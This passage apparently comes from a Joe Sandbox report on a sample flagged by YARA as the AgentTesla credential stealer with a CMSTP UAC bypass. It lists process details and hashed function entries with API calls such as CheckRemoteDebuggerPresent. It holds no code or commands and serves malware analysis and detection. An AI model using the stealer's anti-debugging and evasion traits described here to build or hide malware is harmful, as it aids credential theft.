Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:28:46
Start date:	23/02/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
Imagebase:	0x9b0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2764598895.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2764598895.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2764598895.0000000002C9E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2764598895.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.9%
Total number of Nodes:	103
Total number of Limit Nodes:	12

Executed Functions

Function 00FDAD10 Relevance: 3.1, Instructions: 3142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2760392146.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0470eca1e99dfee8f27402f32068b3d188a4816d33605bc68fcb04ec14b2ba8
Instruction ID: 2634c687793a7e7c86e712a80f16e56b04c908a705f2422166b22e873c69c3a3
Opcode Fuzzy Hash: b0470eca1e99dfee8f27402f32068b3d188a4816d33605bc68fcb04ec14b2ba8
Instruction Fuzzy Hash: D063FC31D1071A8EDB11EF68C8846A9F7B1FF99300F15D69AE45877221EB70AAD4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 065D5178 Relevance: 1.8, Strings: 1, Instructions: 583
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 065D5564

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 3cee9e7ac64b0c77d0835dd34344fa4be64723af485f85fac0c7e2fc9d65db32
Instruction ID: fe1cff22c0e69598554bd726b384a0b7377247b96bfac8b08699c1b36c13eb09
Opcode Fuzzy Hash: 3cee9e7ac64b0c77d0835dd34344fa4be64723af485f85fac0c7e2fc9d65db32
Instruction Fuzzy Hash: 9C22C271E002158FDF64DBA8C4806AEBBB2FF89310F24846AD855EB391EA35DD45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00FD70A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 00FD711F

Memory Dump Source

Source File: 00000004.00000002.2760392146.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_RegSvcs.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: d57b62adb28f411e17ce5214f794539761cb99bbfd9c4fdaf2bfbf5c16ad60c4
Instruction ID: 679abf75faecd710b38bc849fc591cac5326538b66461174ba5e0f9cad36e637
Opcode Fuzzy Hash: d57b62adb28f411e17ce5214f794539761cb99bbfd9c4fdaf2bfbf5c16ad60c4
Instruction Fuzzy Hash: 272145B180025A8FDB10DFAAD884BEEFBF5AF48320F14841AE458A7340D778A944CF60

Uniqueness

Uniqueness Score: -1.00%

Function 065D2358 Relevance: 1.5, Instructions: 1489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66e3dc80a1e630f4143df42c8f9aa3f13800fddd21683b795f06ce496dfa34c
Instruction ID: 2e24af4db77c7964c180f5a7022a2f424b33580af29a55c6cbdddb0f4884f7c3
Opcode Fuzzy Hash: c66e3dc80a1e630f4143df42c8f9aa3f13800fddd21683b795f06ce496dfa34c
Instruction Fuzzy Hash: 14D23730A00205CFDB64DB68C494A9DB7B2FF89310F54C5AAD419AB3A5EB35ED85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00FD3EB0 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\VRm, xrefs: 00FD40FB

Memory Dump Source

Source File: 00000004.00000002.2760392146.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID: \VRm
API String ID: 0-1931484983
Opcode ID: 9993e0b49914ec92955bd0538faa565392c7104f0b30f31092bbcf03255f32c6
Instruction ID: 896ec0364793ca1f4ac057ff53cd615cdf17ecdd97796cf385be3b12eda13be6
Opcode Fuzzy Hash: 9993e0b49914ec92955bd0538faa565392c7104f0b30f31092bbcf03255f32c6
Instruction Fuzzy Hash: 5C916C70E00209CFDF14DFA9C88579DBBF2AF88714F18812AE415A7394DB759885DB81

Uniqueness

Uniqueness Score: -1.00%

Function 065D65C8 Relevance: .8, Instructions: 808COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58d530d7cb27ba2bd86b85bc209d748d418ea685cfe8bbc4034b4fe8ce867b9e
Instruction ID: 79b314d7083f20ff72d8befdfac2e6d74651c1543e1b591b91e5ed0114d050af
Opcode Fuzzy Hash: 58d530d7cb27ba2bd86b85bc209d748d418ea685cfe8bbc4034b4fe8ce867b9e
Instruction Fuzzy Hash: 84626A34A002058FDB64DB68D594BADBBB2FF88310F548469E806EB395DB35ED46CF80

Uniqueness

Uniqueness Score: -1.00%

Function 065DB218 Relevance: .8, Instructions: 757COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7464e2d34d535eea9486fb0287e322f7fc299e0189497dbebfae6e79fb87b1f6
Instruction ID: 3dc5e4ed6820aac637a5281b15c436f03232d915911c77498a91236371a3b192
Opcode Fuzzy Hash: 7464e2d34d535eea9486fb0287e322f7fc299e0189497dbebfae6e79fb87b1f6
Instruction Fuzzy Hash: 9F522BB0E102098BEF74DB6CD8807ADB7B2FB89310F618529E805EB395DB35DD419B91

Uniqueness

Uniqueness Score: -1.00%

Function 065DC168 Relevance: .6, Instructions: 632COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef9e21e5d05e81252d499ac090ebd0d03ef863c643b7e42c6e1c62058719f9ec
Instruction ID: 7b91d1c6f402742683f5d72e4e16337c72a42d38461fbe4b361d94a17013ba84
Opcode Fuzzy Hash: ef9e21e5d05e81252d499ac090ebd0d03ef863c643b7e42c6e1c62058719f9ec
Instruction Fuzzy Hash: 5F326134B102199FDF64DB68D990BAEB7B6FB88310F208529E805DB395DB35EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 065D7D58 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83633da7103819986e0079caad0b98c7150679d7a532f08d3fe9469669806930
Instruction ID: 361395230da28f7d5a7a4491f7f98716e838f608a42353baf5e8bc8c0c24df97
Opcode Fuzzy Hash: 83633da7103819986e0079caad0b98c7150679d7a532f08d3fe9469669806930
Instruction Fuzzy Hash: 95028D30B016158FDB64EB68D8907AEB7B2FF84354F148569E806DB395DB35ED82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00FDED48 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2760392146.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc37ac6265ca9917656773f232478b9fed6d0a5f144828c8ec3e9b8cf6f9e622
Instruction ID: c5a8e207637ebaf14627dee623e889dc64941183876ae50b0ca08aea963763d2
Opcode Fuzzy Hash: fc37ac6265ca9917656773f232478b9fed6d0a5f144828c8ec3e9b8cf6f9e622
Instruction Fuzzy Hash: 39B1D231B042188BDB1CAB74985477FBBA7BFC9710B19846EE807DB385DE748C06A791

Uniqueness

Uniqueness Score: -1.00%

Function 065DB208 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d431ed858a8be2f22c10fb98bd1710851b9cd4a9aee4f25d4212248d4005145
Instruction ID: ae97af47fbc8f80978282cab36f561427d02cc73eae9e7be207d4f57f703c0e1
Opcode Fuzzy Hash: 1d431ed858a8be2f22c10fb98bd1710851b9cd4a9aee4f25d4212248d4005145
Instruction Fuzzy Hash: DFA18274E012088BEF74DAACD8907AEBBA7FB89310F618425E806E73C1DB35DD419B51

Uniqueness

Uniqueness Score: -1.00%

Function 00FD4AC8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2760392146.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c361b172719555852975eab5bae824f4c9e114e08cf008f8178fb2f81ba9350
Instruction ID: 5dc98396e83745a79eae831be43721e626ef4096df14cd8d1d075cd02f045abc
Opcode Fuzzy Hash: 1c361b172719555852975eab5bae824f4c9e114e08cf008f8178fb2f81ba9350
Instruction Fuzzy Hash: 45B14D70E002098FDB14DFA9C8817ADBBF3BF88714F18852AD815E7394EB75A845DB81

Uniqueness

Uniqueness Score: -1.00%

Function 065B3602 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 065B368E
GetCurrentThread.KERNEL32 ref: 065B36CB
GetCurrentProcess.KERNEL32 ref: 065B3708
GetCurrentThreadId.KERNEL32 ref: 065B3761

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9ae6c64050d5bfb08fc517b8037f8cb36970caa10f81488aff79b2c45419fc21
Instruction ID: 1eef62b55d2a179bbd71f22bb15e53f5b1dde8ae729d442eba10764e7b3ce761
Opcode Fuzzy Hash: 9ae6c64050d5bfb08fc517b8037f8cb36970caa10f81488aff79b2c45419fc21
Instruction Fuzzy Hash: 0C5144B090074A8FEB54DFA9C988BDEBBF1BF88314F24845DE409A7290D7789944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 065B3610 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 065B368E
GetCurrentThread.KERNEL32 ref: 065B36CB
GetCurrentProcess.KERNEL32 ref: 065B3708
GetCurrentThreadId.KERNEL32 ref: 065B3761

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 6ca48ebf8567016d6d2d77eb1aec5164b74ccf9854c6c0002ce4e35a07b67ace
Instruction ID: b11094e958b95ed030dee7cea78b632df6bb5247219c638339dd8c2f7da99e08
Opcode Fuzzy Hash: 6ca48ebf8567016d6d2d77eb1aec5164b74ccf9854c6c0002ce4e35a07b67ace
Instruction Fuzzy Hash: A35143B09007498FEB54DFAAC988BDEBBF1BF88314F208059E409A7290DB749944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 065BBA18 Relevance: 1.7, APIs: 1, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 065BBC7E

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4bb1f47880489065e524a14e826cc11f5c1e98f31d606f8343d4f54ea5d52b00
Instruction ID: a78251d5f3ae1ab4113d31e130df11474e7e403da91f6bca445d9a8bccecb9f8
Opcode Fuzzy Hash: 4bb1f47880489065e524a14e826cc11f5c1e98f31d606f8343d4f54ea5d52b00
Instruction Fuzzy Hash: C0813570A00B058FE7A4DF29D48579ABBF1FF88204F008A2ED496D7A50DB75E945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 065BDFC5 Relevance: 1.6, APIs: 1, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 065BE122

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 8ec3da0c826605a8108b739f7a33a4fefcea613f459ad5da4e9a389d091de895
Instruction ID: e6c13529871bf422dd48c3054c40551f5a59142a1accbb2ce0519f76d18d7c61
Opcode Fuzzy Hash: 8ec3da0c826605a8108b739f7a33a4fefcea613f459ad5da4e9a389d091de895
Instruction Fuzzy Hash: ED51C2B1C10249EFDF15CF99C884ADEBFB6BF49310F28816AE818AB221D7719855CF50

Uniqueness

Uniqueness Score: -1.00%

Function 065BE004 Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 065BE122

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 103bee42445fd5dad6ae657f3105fdf5a0ef7b8d02cf0a07a48917feade134ba
Instruction ID: 1c32ebf4380e30d11eca7c610334427e86e3d69ad8fd5dea00bde677b2ed7261
Opcode Fuzzy Hash: 103bee42445fd5dad6ae657f3105fdf5a0ef7b8d02cf0a07a48917feade134ba
Instruction Fuzzy Hash: 3851B0B1D10349DFDB14CF9AC884ADEBBF5BF48750F24852AE819AB210D7759845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 065BE010 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 065BE122

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 9a97a33d0eb7167829b1baa84f0c23f4bee5f291f988c8bb0e9a4775e15200d4
Instruction ID: 9dfa1bdef1c7d683e1ff1294e8b40a5b7abaf269c9fc179705edc43f32b01480
Opcode Fuzzy Hash: 9a97a33d0eb7167829b1baa84f0c23f4bee5f291f988c8bb0e9a4775e15200d4
Instruction Fuzzy Hash: 4741AFB1D10309DFDB14CF9AC884ADEBBB5BF88750F24852AE819AB210D7759845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00FD70A0 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 00FD711F

Memory Dump Source

Source File: 00000004.00000002.2760392146.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_RegSvcs.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: d8894886d726b42c9ef5a985e1812eb9b050a22a51d1c4eaa3264b5c2585f894
Instruction ID: 7e4ee161888b9613c6c58e3558b95539c90b3a7bad05206014a4a9b1349fe6f8
Opcode Fuzzy Hash: d8894886d726b42c9ef5a985e1812eb9b050a22a51d1c4eaa3264b5c2585f894
Instruction Fuzzy Hash: 7B2136B19002598FDB10DFAAD885BEEFBF5AF49320F14841AE858B7340D778A944CF61

Uniqueness

Uniqueness Score: -1.00%

Function 065B3850 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 065B38DF

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 351f686542a57f69a3690259d90f5d01f1a9c0200b34e8a08ab8461ffdb1e9ce
Instruction ID: 1eab086da256cf4d9572ba0f4e410694b18a228ab846e3fda6607269ba8c47b3
Opcode Fuzzy Hash: 351f686542a57f69a3690259d90f5d01f1a9c0200b34e8a08ab8461ffdb1e9ce
Instruction Fuzzy Hash: FF2103B5C00309AFDB10CFAAD884ADEBBF8FB48320F10801AE914A3210D375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 065BA9A8 Relevance: 1.6, APIs: 1, Instructions: 63
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,065BBCF9,00000800,00000000,00000000), ref: 065BBEEA

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d71f75b0bf71bfcc834565508cca81cf5b100c0491845b482f17fcb572e2c463
Instruction ID: 5563180b474edc2d4cd491ad94ac680a9e4ebb6b268c6210ea8aff055d542c93
Opcode Fuzzy Hash: d71f75b0bf71bfcc834565508cca81cf5b100c0491845b482f17fcb572e2c463
Instruction Fuzzy Hash: 5F2157B6C043098FDB10CFAAC844BEEBBF5BB88610F14846ED554AB310C775A505CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 065B3858 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 065B38DF

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cdbece299a7051c8a61f814b7f196ba0c2b69e2f0f982db871bc61a8f767fdcc
Instruction ID: 5eae691264e595d672c8baf3238e79115acf3360206e3b2b785362a164365b49
Opcode Fuzzy Hash: cdbece299a7051c8a61f814b7f196ba0c2b69e2f0f982db871bc61a8f767fdcc
Instruction Fuzzy Hash: F321E4B5D003099FDB10CFAAD884ADEBBF9FB48710F14841AE914A3350D375A944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00FDF29F Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 00FDF31F

Memory Dump Source

Source File: 00000004.00000002.2760392146.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 7a0b3dd582d89083a39e0e47cdcc7753d9aa9b812df5f9fd6c0201bed2255ea3
Instruction ID: 6aabcbb784aff516a707f18d5394316b1c04a0eb6adde4963295d62957a2b200
Opcode Fuzzy Hash: 7a0b3dd582d89083a39e0e47cdcc7753d9aa9b812df5f9fd6c0201bed2255ea3
Instruction Fuzzy Hash: C3212FB1C0025A8FDB10DFAAC544BDEBBF5AF48220F15812AE818A7241D378A905CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 065BA9C0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,065BBCF9,00000800,00000000,00000000), ref: 065BBEEA

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e25d8f3f34011e46a1994a46e77109d4e3cd1d45379ed6d510563bfd263a29b0
Instruction ID: 43927ee91f9f3c1d7f39abe8f5b703c01abcb4802753f3b8105958139e869025
Opcode Fuzzy Hash: e25d8f3f34011e46a1994a46e77109d4e3cd1d45379ed6d510563bfd263a29b0
Instruction Fuzzy Hash: F11103B6C003099FDB10DF9AC844BEEFBF9FB88610F10842AD519A7210C7B9A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 065BBE7B Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,065BBCF9,00000800,00000000,00000000), ref: 065BBEEA

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1fb120d9304e45ce84fd18bef8ef5554071b8babe7ebbfa7fee9f710ae48dece
Instruction ID: 3cdf66972c6e749e5227b8b1ce9aeb1298a87bed8b9292405e4464bd750c8efb
Opcode Fuzzy Hash: 1fb120d9304e45ce84fd18bef8ef5554071b8babe7ebbfa7fee9f710ae48dece
Instruction Fuzzy Hash: C411D0B6D002098FDB10CFAAD844AEEBBF5FB88710F14842AD519A7610C7B5A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00FDF2B8 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 00FDF31F

Memory Dump Source

Source File: 00000004.00000002.2760392146.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 994edf3a2f283f49bc46519fe836b860cd827deb3ceaf577b4536fc4f5473f86
Instruction ID: 15a3c8dd4ff15f9aa22a64081375a953f9f9534fffdddd59a4472b072599fae2
Opcode Fuzzy Hash: 994edf3a2f283f49bc46519fe836b860cd827deb3ceaf577b4536fc4f5473f86
Instruction Fuzzy Hash: 2211EFB1C0065A9BDB10DFAAC444BDEFBF5BF48720F15812AD818A7241D778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 065BBC18 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 065BBC7E

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4209359c6439b88f3a91147e0cbe5e748a826d8ca6aa7deddcd384870455ed4d
Instruction ID: 721f2b2db5c038dc9e266adfdddb24f7ea2527d9ead7dc8ca06893add336f1a8
Opcode Fuzzy Hash: 4209359c6439b88f3a91147e0cbe5e748a826d8ca6aa7deddcd384870455ed4d
Instruction Fuzzy Hash: 5611E0B5C0034A8FDB20DF9AC844BDEFBF5FB88624F10841AD419A7610C7B9A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 065DFEC8 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

|, xrefs: 065DFF28

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: fa8b04f86f55ff1e8aeb290aee90cbc6f36f0640448e5a4943c960185bf3dee7
Instruction ID: 35332fa42f8c13e3844c41fe3e1ae9c1c4f315e5fe06643da7cca4471eb4cff9
Opcode Fuzzy Hash: fa8b04f86f55ff1e8aeb290aee90cbc6f36f0640448e5a4943c960185bf3dee7
Instruction Fuzzy Hash: 9521A175F002159FDB54DF78D805B9EBBF5EF88610F00446AE91AD73A0DB359801CB90

Uniqueness

